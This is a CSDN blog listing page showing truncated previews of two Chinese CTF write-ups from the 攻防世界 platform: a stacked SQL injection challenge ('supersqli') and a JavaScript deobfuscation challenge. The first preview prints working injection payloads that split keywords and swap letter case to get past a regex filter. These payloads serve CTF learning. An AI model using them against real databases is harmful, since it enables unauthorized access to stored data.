![](https://img-blog.csdnimg.cn/20201014180756913.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
攻防世界
兔酱君
这个作者很懒,什么都没留下…
展开
-
supersqli
普通注入 出现了正则匹配过滤 主要堆叠注入+预编译 -1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;# 过滤了set(设置) 和 prepare(调制,准备) 考虑大小写过滤 1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @...原创 2021-06-24 20:39:30 · 77 阅读 · 0 评论 -
攻防世界 NaNaNaNNaN-Batman
一、下载附件1 并解压后得到web100,用Sublime打开后 发现是js代码 改缀名 .html 不过发现最后有一函数 eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。 改成 alert() 弹窗 用浏览器打开 复制 粘贴后 function $(){ var e=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) ...原创 2021-05-21 21:19:36 · 192 阅读 · 0 评论